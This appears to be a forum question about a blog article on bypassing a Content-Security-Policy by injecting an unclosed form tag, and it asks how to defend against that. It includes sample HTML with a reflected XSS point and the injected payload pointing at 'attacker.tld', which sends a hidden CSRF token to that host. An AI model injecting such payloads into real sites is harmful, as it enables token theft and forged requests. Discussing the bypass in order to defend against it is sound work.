This article talks about bypassing CSP using Form tags.
Edit: As suggested, details has to be provided in case the external link stops working.
So here are the details:
There is content-security-policy in place and a vulnerable parameter to XSS:
Content-Security-Policy: default-src ‘none’;
<html>
<body>
<div>[Reflected XSS vulnerability here]</div>
<form method=”POST” id=”subscribe” action=”/api/v1/newsletter/subscribe”>
<input type=”hidden” name=”csrftoken” value=”5f4dcc3b5aa765d61d8327deb882cf99” />
<input type=”submit” value=”Subscribe to newsletter” />
</form>
</body>
</html>
This is how the author tries to bypass CSP:
Content-Security-Policy: default-src ‘none’;
<html>
<body>
<div><form action=”http://attacker.tld”></div>
<form method=”POST” id=”subscribe” action=”/api/v1/newsletter/subscribe”>
<input type=”hidden” name=”csrftoken” value=”5f4dcc3b5aa765d61d8327deb882cf99” />
<input type=”submit” value=”Subscribe to newsletter” />
</form>
</body>
</html>
I want to know is there a way CSP should be implemented to stop the above attack and circumvent the sensitive tokens to be sent to external domain?
Or proper encoding of special characters has to be done to stop this.
